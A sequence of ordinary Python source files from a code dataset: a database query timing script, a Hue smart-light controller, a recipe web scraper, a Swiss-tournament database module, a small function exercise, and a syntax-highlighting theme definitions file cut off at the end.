conn.cursor()\n\ntot_tests=100\n\nget_ins_id = \"select id from instructor;\"\nget_deps = \"select dept_name from department;\"\nget_sname=\"select distinct name from student limit 50;\"\ncur.execute(get_ins_id)\niids = cur.fetchall()\niids = [x[0] for x in iids]\ncur.execute(get_deps)\ndeps= cur.fetchall()\ndeps=[x[0] for x in deps]\ncur.execute(get_sname)\nsnames=cur.fetchall()\nsnames=[x[0] for x in snames]\n\nconn.commit()\nconn.close()\n\nstmt1 = \"select * from advisor where i_id='{}';\"\nstmt21 = \"select * from student where tot_cred={}\"\nstmt22 = \"select * from student where name<='{}'\"\n\nstmt3 = \"select * from student where dept_name = '{}' and tot_cred>={}\"\n\nstart_time=time.time()\nfor i in range(tot_tests):\n\tconn = psycopg2.connect(database = \"test\", user = \"praneeth\", password = \"\", host = \"127.0.0.1\", port = \"6001\")\n\tcur = conn.cursor()\n\tif i%100 == 0:\n\t\tprint(\"Iteration {}\".format(i))\n\tcur.execute(stmt1.format(iids[random.randint(0,len(iids)-1)]))\n\tresult = str(cur.fetchall())\n\n\tcur.execute(stmt21.format(random.randint(0,129)))\n\tresult = str(cur.fetchall())\n\n\tcur.execute(stmt22.format(snames[random.randint(0,len(snames)-1)]))\n\tresult = str(cur.fetchall())\n\t\n\tcur.execute(stmt3.format(deps[random.randint(0,len(deps)-1)] , random.randint(0,129)))\n\tresult = str(cur.fetchall())\n\tconn.commit()\n\tconn.close()\n\ntime_taken=time.time()-start_time\nprint(\"Time taken {}\".format(time_taken))\n\n","sub_path":"test/test1_0.py","file_name":"test1_0.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"570237313","text":"import json\nfrom datetime import datetime, time\n\nimport requests\nfrom astral import Astral\n\nfrom app import db\nfrom app.models import Light, Room\n\n#address = \"http://localhost:8000/api/newdeveloper/lights/\" \naddress = \"http://192.168.1.2/api/egZDzxX7ctoCDoXLKTxAPom6-a29XpVoQw1UvGpu/lights/\"\nambientBrightness = 1000 # is a value between 0 and 1024\n\nCITY_NAME = 'Copenhagen'\na = Astral()\na.solar_depression = 'civil'\nCITY = a[CITY_NAME]\n\nAMBIENT_BRIGHTNESS_THRESHOLD = 200\n\n\ndef SetAmbientBrightness(value):\n global ambientBrightness\n ambientBrightness = value\n\n\ndef ShouldLightsTurnOn():\n global ambientBrightness\n timeNow = datetime.now().timestamp()\n sun = CITY.sun(date=datetime.now(), local=True)\n sunrise = sun['dawn'].timestamp()\n sunset = sun['sunset'].timestamp()\n isNight = timeNow >= sunset or timeNow <= sunrise\n print(isNight)\n return ambientBrightness < AMBIENT_BRIGHTNESS_THRESHOLD and isNight\n\n\ndef GetLights():\n lights = requests.get(address).json()\n return [(lId, l['name']) for lId, l in lights.items()]\n\n\ndef UpdateLight(nmbr, putData):\n print(\"update light nr., \",nmbr, \" with data: \", str(putData))\n r = requests.put(address + str(nmbr) + \"/state\", data=str(putData))\n\ndef ChangeColor(nmbr, xy):\n x,y = xy\n data = {\"xy\":[x,y]}\n print(data)\n UpdateLight(nmbr, data)\n\ndef ToggleLights(roomId):\n room = db.session.query(Room).filter(Room.id == roomId).first()\n lights = db.session.query(Light).join(Room, Room.id == Light.roomId).filter(Light.roomId == roomId).all()\n if room is None:\n return\n if room.lightsOn:\n for light in lights:\n UpdateLight(light.id, str({'on':False}))\n room.lightsOn = 0\n else:\n for light in lights:\n x, y = ConvertHexToXY(light.hex)\n UpdateLight(light.id, str({'on':True, 'xy':[x,y]}))\n UpdateLights([roomId], str({'on':True}))\n room.lightsOn = 1\n db.session.commit()\n\ndef UpdateLights(roomIds, putData):\n lights = db.session.query(Light).all()\n\n for light in lights:\n if any(roomId for roomId in roomIds if roomId == light.roomId):\n UpdateLight(light.id, putData)\n\n\ndef ChangeRoom(roomIds):\n onLights = db.session.query(Light, Room).join(Room, Room.id == Light.roomId).filter(Light.roomId.in_(roomIds)).all()\n offLights = db.session.query(Light).join(Room, Room.id == Light.roomId).filter(~Light.roomId.in_(roomIds)).all()\n for light, room in onLights:\n if ShouldLightsTurnOn() and room.lightsOn:\n x, y = ConvertHexToXY(light.hex)\n UpdateLight(light.id, str({'on':True, 'xy':[x,y]}))\n else:\n UpdateLight(light.id, str({'on':False}))\n for light in offLights:\n UpdateLight(light.id, str({'on':False}))\n\ndef ConvertHexToXY(hexColor):\n # First convert hex to rgb\n rgbColor = HexToRGB(hexColor)\n # Normalize RGB Color\n rgbNorm = NormalizeRGB(rgbColor)\n # Apply Gamma correctiono\n rgbGamma = ApplyGammaToRGB(rgbNorm)\n # RGB to XYZ\n xyz = RGBtoXYZ(rgbGamma)\n # XYZ to XY\n xy = XYZtoXY(xyz)\n return xy\n\n\ndef HexToRGB(hex):\n hex = hex.lstrip('#')\n hlen = len(hex)\n step = int(hlen/3)\n return tuple(int(hex[i:i+int(hlen/3)], 16) for i in range(0, hlen, step))\n\ndef NormalizeRGB(rgb):\n x,y,z = rgb\n return(x/255, y/255, z/255)\n\n\ndef ApplyGammaToRGB(rgb):\n red, green, blue = rgb\n red = pow((red + 0.055) / (1.0 + 0.055), 2.4) if (red > 0.04045) else (red / 12.92)\n green = pow((green + 0.055) / (1.0 + 0.055), 2.4) if (green > 0.04045) else (green / 12.92)\n blue = pow((blue + 0.055) / (1.0 + 0.055), 2.4) if (blue > 0.04045) else (blue / 12.92)\n return (red, green, blue)\n \ndef RGBtoXYZ(rgb):\n red, green, blue = rgb\n x = red * 0.664511 + green * 0.154324 + blue * 0.162028\n y = red * 0.283881 + green * 0.668433 + blue * 0.047685\n z = red * 0.000088 + green * 0.072310 + blue * 0.986039\n return (x,y,z)\n\ndef XYZtoXY(xyz):\n X, Y, Z = xyz\n x = X / (X + Y + Z)\n y = Y / (X + Y + Z)\n return (x,y)\n\n\n\n\n\n\n'''\n################# switch light off #################\n{\n \"on\":false\n}\n\n################# switch light on #################\n{\n \"on\":true\n}\n\n################# Change color of ligth #################\n# between 0 and 65535\n{\n hue: val\n}\n'''\n","sub_path":"controllers/lightsController.py","file_name":"lightsController.py","file_ext":"py","file_size_in_byte":4321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"116131753","text":"from os import path\n\nimport requests\nimport time\nimport random\nimport os\nimport json\nimport traceback\nfrom requests.exceptions import HTTPError\nfrom bs4 import BeautifulSoup\n\n#clear console\ndef clear():\n if os.name == 'nt':\n os.system('cls')\n else:\n os.system('clear')\n\n#Stores recipe info\nclass Recipe:\n def __init__(self):\n title = \"\"\n image = \"\"\n imageFileName = \"\"\n category = \"\"\n ingredients = []\n steps = []\n\n def __str__(self):\n if not hasattr(self, 'title'):\n print(\"Error: Missing title\")\n return \"\"\n string = self.title + \"\\n\" + self.image + \"\\n\" + self.category + \"\\n\"\n for i in self.ingredients:\n string += i + \"\\n\"\n for i in self.steps:\n string += i + \"\\n\"\n return string\n\n def __lt__(self, other):\n return self.title < other.title\n\n def __gt__(self, other):\n return self.title > other.title\n\n def ingredientsToDict(self):\n ing = {}\n count = 1\n for i in self.ingredients:\n ing['i' + str(count).zfill(4)] = i\n count += 1\n return ing\n\n def stepsToDict(self):\n steps = {}\n count = 1\n for i in self.steps:\n steps['s' + str(count).zfill(4)] = i\n count += 1\n return steps\n\n def recipeToDict(self):\n if len(self.imageFileName) < 1:\n self.imageFileName = \"Default.jpg\"\n dict = {'title': self.title, 'image': self.image, 'imageFileName': self.imageFileName, 'ingredients': self.ingredientsToDict(), 'steps': self.stepsToDict()}\n return dict\n\n def setUpImage(self, num):\n try:\n file = open(\"resources\\\\\" + \"image\" + str(num) + \".jpg\", 'wb')\n file.write(requests.get(self.image).content)\n self.imageFileName = \"image\" + str(num) + \".jpg\"\n return True\n except Exception as error:\n self.imageFileName = \"Default.jpg\"\n print(traceback.format_exc())\n print(\"Image request error\")\n return False\n\n def check(self):\n return hasattr(self, 'title') and hasattr(self, 'category') and hasattr(self, 'image')\n\nclass Scraper:\n unknownCategoriesCount = 0\n imageCount = 0\n\n #scrape recipe info from allrecipes.com url, returns recipe object\n def scrapeURL(self, url, category):\n recipe = Recipe()\n try:\n page = requests.get(url)\n page.raise_for_status()\n parser = BeautifulSoup(page.text, 'html.parser')\n titleSpan = parser.find('h1')\n title = titleSpan.contents[0]\n\n imageClass = parser.find(class_=\"rec-photo\")\n image = imageClass['src']\n\n ingredients = parser.findAll(class_=\"recipe-ingred_txt added\")\n ingredientsList = []\n for i in ingredients:\n ingredientsList.append(i.contents[0])\n\n steps = parser.findAll(class_=\"recipe-directions__list--item\")\n stepsList = []\n if len(steps) < 1:\n raise Exception('No recipe steps')\n for i in steps:\n for j in i:\n stepsList.append(j.rstrip())\n setattr(recipe, 'title', title)\n setattr(recipe, 'image', image)\n setattr(recipe, 'category', category)\n setattr(recipe, 'ingredients', ingredientsList)\n setattr(recipe, 'steps', stepsList)\n except HTTPError as httpError:\n print(\"HTTP Error :\", httpError)\n except Exception as error:\n print(\"Other error: \", error)\n print(traceback.format_exc())\n print(\"Error with url: \" + url)\n return recipe\n\n #scrapes a list of recipe urls from a category url\n def scrapeURLS(self, url, max):\n urls = []\n try:\n page = requests.get(url)\n page.raise_for_status()\n parser = BeautifulSoup(page.text, 'html.parser')\n recipeClass = parser.find_all(class_=\"fixed-recipe-card__title-link\", href=True)\n count = 1\n urlsAvailable = len(recipeClass)\n if max < urlsAvailable:\n urlsAvailable = max\n for i in recipeClass[0:urlsAvailable]:\n urls.append(i['href'])\n time.sleep(random.random()*2)\n print(\"URL scraper, getting url \" + str(count) + \" of \" + str(urlsAvailable))\n count += 1\n except HTTPError as httpError:\n print(\"HTTP Error :\", httpError)\n except Exception as error:\n print(\"Other error: \", error)\n print(traceback.format_exc())\n return urls\n\n #scrapes the name of a category from a category url\n def scrapeCategoryName(self, url):\n try:\n page = requests.get(url)\n page.raise_for_status()\n parser = BeautifulSoup(page.text, 'html.parser')\n categorySpan = parser.find(class_=\"title-section__text title\")\n return categorySpan.contents[0]\n except HTTPError as httpError:\n self.unknownCategoriesCount += 1\n print(\"HTTP Error :\", httpError)\n return \"Unknown Category: \" + str(self.unknownCategoriesCount)\n except Exception as error:\n self.unknownCategoriesCount += 1\n print(\"Other error: \", error)\n print(traceback.format_exc())\n return \"Unknown Category: \" + str(self.unknownCategoriesCount)\n\n #Scrapes recipes from a category, returns a list of recipe objects with info from it\n def scrapeCategories(self, url, number):\n recipes = []\n try:\n category = self.scrapeCategoryName(url)\n recipes = []\n recipeUrls = []\n count = 1\n page = 0\n while count < number+1:\n print(\"Category scraper getting recipe \" + str(count) + \" of \" + str(number))\n while len(recipeUrls) < 1:\n recipeUrls.extend(self.scrapeURLS(url + \"?page=\" + str(page), number - count + 1))\n page += 2\n recipe = self.scrapeURL(recipeUrls.pop(0), category)\n if recipe.check() and recipe.setUpImage(self.imageCount):\n recipes.append(recipe)\n count += 1\n self.imageCount += 1\n time.sleep(random.random() * 2)\n else:\n print(\"scrapeURL error\")\n except HTTPError as httpError:\n print(\"HTTP Error :\", httpError)\n except Exception as error:\n print(\"Other error: \", error)\n print(traceback.format_exc())\n return recipes\n\ndef main():\n urls = []\n urls.append(\"https://www.allrecipes.com/recipes/78/breakfast-and-brunch/\")\n urls.append(\"https://www.allrecipes.com/recipes/17561/lunch/\")\n urls.append(\"https://www.allrecipes.com/recipes/17562/dinner/\")\n urls.append(\"https://www.allrecipes.com/recipes/76/appetizers-and-snacks/\")\n urls.append(\"https://www.allrecipes.com/recipes/79/desserts/\")\n urls.append(\"https://www.allrecipes.com/recipes/77/drinks/\")\n urlCounts = [50, 100, 100, 50, 50, 25]\n s = Scraper()\n recipes = []\n for u in urls:\n temp = s.scrapeCategories(u,urlCounts.pop(0))\n temp.sort()\n recipes.extend(temp)\n data = {}\n count = 0\n for i in recipes:\n if not i.category in data:\n data[i.category] = {}\n data[i.category][\"r\" + str(count).zfill(4)] = i.recipeToDict()\n count += 1\n with open('recipes.json', 'w') as output:\n json.dump(data, output)\n print(json.dumps(data, indent=4))\n\nmain()\n","sub_path":"scraper/Scraper.py","file_name":"Scraper.py","file_ext":"py","file_size_in_byte":7741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"527618986","text":"#!/usr/bin/env python\n# tournament.py -- implementation of a Swiss-system tournament\n#\n\nimport sys\nimport psycopg2\n\n\ndef connect(dbname=\"tournament\"):\n \"\"\"Connect to the PostgreSQL database. Returns a database connection.\"\"\"\n try:\n db = psycopg2.connect(\"dbname={}\".format(dbname))\n cursor = db.cursor()\n return db, cursor\n except:\n print (\"No database with that name - could not connect\")\n\n\ndef deleteMatches():\n \"\"\"Remove all the match records from the database.\"\"\"\n\n con, cur = connect()\n cur.execute('DELETE FROM tournament_matches;')\n con.commit()\n con.close()\n\n\ndef deletePlayers():\n \"\"\"Remove all the player records from the database.\"\"\"\n # currently removes all match data as well\n con, cur = connect()\n cur.execute('DELETE FROM tournament_players;')\n con.commit()\n con.close()\n\n\ndef countPlayers():\n \"\"\"Returns the number of players currently registered.\"\"\"\n con, cur = connect()\n cur.execute('SELECT COUNT(*) FROM tournament_players;')\n players = int(cur.fetchone()[0])\n con.close()\n return players\n\n\ndef registerPlayer(name):\n \"\"\"Adds a player to the tournament database.\n Args:\n name: the player's full name (need not be unique).\n \"\"\"\n con, cur = connect()\n cur.execute(\n 'INSERT INTO tournament_players (player_name) VALUES (%s);',\n (str(name),))\n con.commit()\n con.close()\n\n\ndef playerStandings():\n \"\"\"Returns a list of the players and their win records, sorted by wins.\n\n The first entry in the list should be the player in first place,\n or a player tied for first place if there is currently a tie.\n\n Returns:\n A list of tuples, each of which contains (id, name, wins, matches):\n id: the player's unique id (assigned by the database)\n name: the player's full name (as registered)\n wins: the number of matches the player has won\n matches: the number of matches the player has played\n \"\"\"\n con, cur = connect()\n cur.execute(\n '''SELECT id, player_name, player_wins, matches_played\n FROM standings;''')\n standings = cur.fetchall()\n con.close()\n return standings\n\n\ndef reportMatch(winner, loser):\n \"\"\"Records the outcome of a single match between two players.\n\n Args:\n winner: the id number of the player who won\n loser: the id number of the player who lost\n \"\"\"\n con, cur = connect()\n cur.execute(\n '''UPDATE tournament_players\n SET player_wins = player_wins + 1\n WHERE id = %s;''' % winner)\n cur.execute(\n '''UPDATE tournament_players\n SET player_losses = player_losses + 1\n WHERE id = %s;''' % loser)\n\n smaller_id, bigger_id = findSmallerId(winner, loser)\n\n # Normally this INSERT would be located in the SwissPairings() but,\n # due to the nature of the tests I placed it here so the ID's would\n # match\n\n cur.execute(\n '''INSERT INTO tournament_matches(player_one_id, player_two_id)\n VALUES (%s, %s);''' % (smaller_id, bigger_id))\n\n cur.execute(\n '''UPDATE tournament_matches SET winner_id = {0}\n WHERE player_one_id = {1}\n AND player_two_id = {2};'''.format(winner, smaller_id, bigger_id))\n\n con.commit()\n con.close()\n\n\n# @param Boolean = True: the initial pairing return a random set of players\n# Boolean = False: Take the order from wins\ndef swissPairings(initial=False):\n \"\"\"Returns a list of pairs of players for the next round of a match.\n\n Assuming that there are an even number of players registered, each player\n appears exactly once in the pairings. Each player is paired with another\n player with an equal or nearly-equal win record, that is, a player adjacent\n to him or her in the standings.\n\n Returns:\n A list of tuples, each of which contains (id1, name1, id2, name2)\n id1: the first player's unique id\n name1: the first player's name\n id2: the second player's unique id\n name2: the second player's name\n \"\"\"\n\n # I'm switching initial default value to False -\n # so that this passes the test.\n\n # TO DO: Tie breaker based on wins of opponents\n # TO DO: Random order within GROUP BY player wins\n\n pairs = []\n\n con, cur = connect()\n if initial:\n cur.execute(\n 'SELECT id, player_name FROM standings ORDER BY RANDOM();')\n else:\n cur.execute(\n 'SELECT id, player_name FROM standings;')\n\n players = cur.fetchall()\n\n players_length = len(players)\n\n if players_length % 2 == 0:\n pairs = pairPlayers(players)\n\n # Adds a BYE player to even out the field\n # BYE has player wins set to -1 so that it's always the last to pair\n\n else:\n cur.execute(\n '''INSERT INTO tournament_players(player_name, player_wins)\n VALUES(%s, %s);''', ('BYE', -1))\n con.commit()\n cur.execute('SELECT id, player_name FROM standings')\n players = cur.fetchall()\n pairs = pairPlayers(players)\n\n con.close()\n\n return pairs\n\n\n# Traverses Standings view and pairs players\ndef pairPlayers(players):\n\n pairs = []\n for p in range(0, len(players), 2):\n pairs.append(players[p] + players[p+1])\n return pairs\n\n\n# Return the smallest ID\ndef findSmallerId(p1, p2):\n if p1 < p2:\n return p1, p2\n else:\n return p2, p1\n","sub_path":"tournament.py","file_name":"tournament.py","file_ext":"py","file_size_in_byte":5420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400658246","text":"def a1():\n\tprint(\"a1\")\ndef a2():\n\tprint(\"Сейчас будет вызвана функция\")\n\ta1()\n\na2()\n\ndef srt(a,b):\n\ts=a+b\n\tprint(s)\n\nsrt('str','1')\t\nsrt(2,3)\nsrt('str','12')\t\n\ni=0\nwhile i<10:\n\tsrt(2,2)\n\ti=i+1\n \n\n","sub_path":"test13.py","file_name":"test13.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"8194677","text":"import re\r\nimport os\r\n\r\n# Set the default input termination code\r\nDEFAULT_INPUT_TERMINATION_CODE = '--Terminate--'\r\n\r\nversion='1.1.0'\r\nprint(f'v {version}')\r\n\r\n# Define the default colors\r\nBorder = '#eeeeee'\r\nBackground = '#ffffff'\r\nForeground = '#000000'\r\nComment = '#DD0000'\r\nString = '#00aa00'\r\nKeywords = '#ff7700'\r\nBuiltins = '#900090'\r\nDefinitions = '#0000ff'\r\n\r\n\r\nlThemes = {'Python Default':{\r\n 'Border':'#eeeeee',\r\n 'Background':'#ffffff',\r\n 'Foreground':'#000000',\r\n 'Comment':'#DD0000',\r\n 'String':'#00aa00',\r\n 'Keywords':'#ff7700',\r\n 'Builtins':'#900090',\r\n 'Definitions':'#0000ff'\r\n },\r\n 'Python Default Grey':{\r\n 'Border':'#eeeeee', \r\n 'Background':'#fbfcfc',\r\n 'Foreground':'#000000',\r\n 'Comment':'#DD0000',\r\n 'String':'#00aa00',\r\n 'Keywords':'#ff7700',\r\n 'Builtins':'#900090',\r\n 'Definitions':'#0000ff'\r\n },\r\n 'Royal Blue':{\r\n 'Border':'#eeeeee',\r\n 'Background':'#ffffff',\r\n 'Foreground':'#000000',\r\n 'Comment':'#00aa00',\r\n 'String':'#DD0000',\r\n 'Keywords':'#0000ff',\r\n 'Builtins':'#000099',\r\n 'Definitions':'#493878'\r\n },\r\n 'Sea':{\r\n 'Border':'#ddddee',\r\n 'Background':'#ffffff',\r\n 'Foreground':'#000000',\r\n 'Comment':'#445a71',\r\n 'String':'#229922',\r\n 'Keywords':'#0077aa',\r\n 'Builtins':'#D86149',\r\n 'Definitions':'#04B7BD'\r\n },\r\n 'Red':{\r\n 'Border':'#ffeeee',\r\n 'Background':'#ffffff',\r\n 'Foreground':'#000000',\r\n 'Comment':'#445a71',\r\n 'String':'#22863A',\r\n 'Keywords':'#D73A49',\r\n 'Builtins':'#6F42C1',\r\n 'Definitions':'#AB0112'\r\n },\r\n 'Grey':{\r\n 'Border':'#cccccc',\r\n 'Background':'#eeeeee',\r\n 'Foreground':'#7B776F',\r\n 'Comment':'#445a71',\r\n 'String':'#C05726',\r\n 'Keywords':'#3080B5',\r\n 'Builtins':'#C05726',\r\n 'Definitions':'#ff7700'\r\n }\r\n }\r\ndThemes = {'Default Dark':{\r\n 'Border':'#aaaaaa',\r\n 'Background':'#222222',\r\n 'Foreground':'#dddddd',\r\n 'Comment':'#ff3333',\r\n 'String':'#00ff00',\r\n 'Keywords':'#ffaa22',\r\n 'Builtins':'#ff40c0',\r\n 'Definitions':'#00ccff'\r\n },\r\n 'Rainglow':{\r\n 'Border':'#aaaaaa',\r\n 'Background':'#040507',\r\n 'Foreground':'#ffffff',\r\n 'Comment':'#6f809f',\r\n 'String':'#64aeb3',\r\n 'Keywords':'#508aaa',\r\n 'Builtins':'#6ab0a3',\r\n 'Definitions':'#00838C'\r\n },\r\n 'Dark+':{\r\n 'Border':'#aaaaaa',\r\n 'Background':'#1e1e1e',\r\n 'Foreground':'#D4D4D4',\r\n 'Comment':'#6A9955',\r\n 'String':'#CE9178',\r\n 'Keywords':'#569CD6',\r\n 'Builtins':'#dcdcaa',\r\n 'Definitions':'#9CDCFE'\r\n },\r\n 'Citylights':{\r\n 'Border':'#718CA1',\r\n 'Background':'#1d252c',\r\n 'Foreground':'#718CA1',\r\n 'Comment':'#72899e',\r\n 'String':'#68A1F0',\r\n 'Keywords':'#508aaa',\r\n 'Builtins':'#70E1E8',\r\n 'Definitions':'#24A5AF'\r\n },\r\n 'Panda':{\r\n 'Border':'#676B79',\r\n 'Background':'#292a2b',\r\n 'Foreground':'#E6E6E6',\r\n 'Comment':'#737787',\r\n 'String':'#19F9D8',\r\n 'Keywords':'#FF75B5',\r\n 'Builtins':'#6FC1FF',\r\n 'Definitions':'#FF9AC1'\r\n },\r\n 'Rose':{\r\n 'Border':'#F37AB0',\r\n 'Background':'#141322',\r\n 'Foreground':'#B4DAE9',\r\n 'Comment':'#45898C',\r\n 'String':'#C01B5D',\r\n 'Keywords':'#FB4293',\r\n 'Builtins':'#F37AB0',\r\n 'Definitions':'#8CE1E7'\r\n },\r\n 'Sea Green':{\r\n 'Border':'#546E7A',\r\n 'Background':'#0a1018',\r\n 'Foreground':'#EEFFFF',\r\n 'Comment':'#708394',\r\n 'String':'#28735E',\r\n 'Keywords':'#25A2A6',\r\n 'Builtins':'#5CB4DE',\r\n 'Definitions':'#4785bd'\r\n },\r\n 'Firefly':{\r\n 'Border':'#626a73',\r\n 'Background':'#0a0a0a',\r\n 'Foreground':'#a8aebd',\r\n 'Comment':'#626a73',\r\n 'String':'#a4bd00',\r\n 'Keywords':'#ff0066',\r\n 'Builtins':'#ff8533',\r\n 'Definitions':'#827db5'\r\n },\r\n 'Monikai':{\r\n 'Border':'#5C6370',\r\n 'Background':'#121212',\r\n 'Foreground':'#BBBBBBFF',\r\n 'Comment':'#5C6370',\r\n 'String':'#E5C07B',\r\n 'Keywords':'#56B6C2',\r\n 'Builtins':'#E06C75',\r\n 'Definitions':'#98C379'\r\n },\r\n 'Black Ocean':{\r\n 'Border':'#60778c',\r\n 'Background':'#101316',\r\n 'Foreground':'#DFDFDF',\r\n 'Comment':'#60778c',\r\n 'String':'#7ebea0',\r\n 'Keywords':'#007aae',\r\n 'Builtins':'#019d76',\r\n 'Definitions':'#15b8ae'\r\n },\r\n 'CodePen':{\r\n 'Border':'#5C6370',\r\n 'Background':'#1e1f27',\r\n 'Foreground':'#D5D7DE',\r\n 'Comment':'#88AFBF',\r\n 'String':'#2BC7B9',\r\n 'Keywords':'#47CF73',\r\n 'Builtins':'#5E91F2',\r\n 'Definitions':'#9CA0B1'\r\n },\r\n 'Acme':{\r\n 'Border':'#988e86',\r\n 'Background':'#0f0e0d',\r\n 'Foreground':'#EDEBE6',\r\n 'Comment':'#988e86',\r\n 'String':'#E0A84C',\r\n 'Keywords':'#CF433E',\r\n 'Builtins':'#CD122C',\r\n 'Definitions':'#d96972'\r\n },\r\n 'Arc':{\r\n 'Border':'#aaaaaa',\r\n 'Background':'#111111',\r\n 'Foreground':'#EDEBE6',\r\n 'Comment':'#757575',\r\n 'String':'#ff1ba9',\r\n 'Keywords':'#f28888',\r\n 'Builtins':'#a80000',\r\n 'Definitions':'#A5E3D0'\r\n }\r\n }\r\n\r\n\r\n \r\n# Define the syntax separators\r\nseparators = [',','(','[',']',')','{','}','/','*','+','-','.','|',':',';','⋞','⋟','=']\r\n\r\n# Create a splitting function that takes a list of separators\r\n# Code courtesy of DelftStack: https://www.delftstack.com/howto/python/how-to-split-string-with-multiple-delimiters-in-python/#make-it-a-function - I edited it some though\r\ndef custom_split(sepr_list, str_to_split):\r\n # Duplicate and sort the separator list\r\n sepr_list2 = list(sepr_list)\r\n sepr_list2.sort(key=len,reverse=True)\r\n # create regular expression dynamically\r\n regular_exp = '|'.join(map(re.escape, sepr_list2))\r\n # Return the list of splits\r\n return re.split(regular_exp, str_to_split)\r\n\r\n\r\ndef Input(prompt=None,ml = False,Terminate=DEFAULT_INPUT_TERMINATION_CODE):\r\n contents = input(prompt)\r\n while ml:\r\n try:\r\n line = input()\r\n if line == Terminate:\r\n break\r\n contents+='\\n'+line\r\n except EOFError:\r\n break\r\n #contents+='\\n'+line\r\n return contents\r\n\r\n \r\n\r\n# create a list of instances that would set off a string with single quotes\r\nstr1 = ['\\'', 'f\\'','u\\'','b\\'','r\\'','\\'\\'\\'']\r\n# create a list of instances that would set off a string with double quotes\r\nstr2 = ['\"', 'r\"','f\"','u\"','b\"','\"\"\"']\r\n\r\n#Create a dictionary with keywords and the like\r\nColors = {\r\n #Comment : ['#','##'],\r\n #String : ['\\'', '\"','f\\'','u\\'','b\\'','r\\'','r\"','f\"','u\"','b\"'],\r\n 'Keywords' : ['and','as','assert','break','class','continue','def','del','elif','else','except','False','finally','for','from','global','if','import','in','is','lambda','None','nonlocal',\r\n 'not','or','pass','raise','return','True','try','while','with','yield'],\r\n 'Builtins' : ['ValueError', 'ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError',\r\n 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception',\r\n 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError',\r\n 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'NotADirectoryError', 'NotImplemented',\r\n 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'ReferenceError', 'RecursionError', 'ResourceWarning',\r\n 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SystemError', 'SyntaxError', 'SyntaxWarning', 'SystemExit', 'TabError', 'TimeoutError', 'TypeError',\r\n 'UnicodeDecodeError', 'UnboundLocalError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError',\r\n 'ZeroDivisionError', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr',\r\n 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int',\r\n 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property','quit', 'range',\r\n 'repr', 'reversed', 'round', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']\r\n }\r\n\r\n# Create a dictionary with syntax ends - blank for continuous highlighting\r\nends = {\r\n 'Comment': '', \r\n 'String': '',\r\n 'Keywords': '',\r\n 'Builtins': ''\r\n }\r\n\r\n\r\n# Create a dictionary with string to be replaced\r\nReplacers = {'<':'⋞',\r\n '>':'⋟',\r\n '

':'',\r\n '

':'
',\r\n '\\n':'
'}\r\n\r\n\r\n\r\n\r\nColorToType = {\r\n \"Border\" : Border,\r\n \"Background\" : Background,\r\n \"Foreground\" : Foreground,\r\n \"Comment\" : Comment,\r\n \"String\" : String,\r\n \"Keywords\" : Keywords,\r\n \"Builtins\" : Builtins,\r\n \"Definitions\" : Definitions\r\n }\r\n\r\n\r\n\r\n# Create A Theme setter\r\ndef setColorScheme(Color):\r\n try:\r\n Color = int(Color)\r\n except:\r\n pass\r\n try:\r\n if type(Color) == type(2):\r\n theme = Themes[list(Themes)[Color-1]]\r\n else:\r\n theme = Themes[Color]\r\n global Border, Background, Foreground, Comment, String, Keywords, Builtins, Definitions, Colors, ends\r\n Border = theme['Border']\r\n Background = theme['Background']\r\n Foreground = theme['Foreground']\r\n Comment = theme['Comment']\r\n String = theme['String']\r\n Keywords = theme['Keywords']\r\n Builtins = theme['Builtins']\r\n Definitions = theme['Definitions']\r\n \r\n except:\r\n print('Invalid Theme')\r\n\r\n#Determine the theme\r\nThemes = {}\r\ndef ThemePrompt():\r\n global Themes\r\n Themes = {}\r\n print('Light themes')\r\n ltNames = list(lThemes)\r\n ltVals = list(lThemes.values())\r\n dtNames = list(dThemes)\r\n dtVals = list(dThemes.values())\r\n for theme in range(len(lThemes)+len(dThemes)):\r\n if theme == len(lThemes):\r\n print('Dark themes:')\r\n if theme < len(lThemes):\r\n print(' ', str(theme+1)+'.',ltNames[theme])\r\n Themes[ltNames[theme]] = ltVals[theme]\r\n else:\r\n print(' ', str(theme+1)+'.',dtNames[theme-(len(lThemes))])\r\n Themes[dtNames[theme-(len(lThemes))]] = dtVals[theme-(len(lThemes))]\r\n Color = input('\\n- a display of all of the themes can be shown by the command: ThemeDisplay()\\nWhich theme should we use?')\r\n if Color.find('ThemeDisplay') != -1:\r\n ThemeDisplay()\r\n ThemePrompt()\r\n else:\r\n setColorScheme(Color)\r\nThemePrompt()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Print a warning 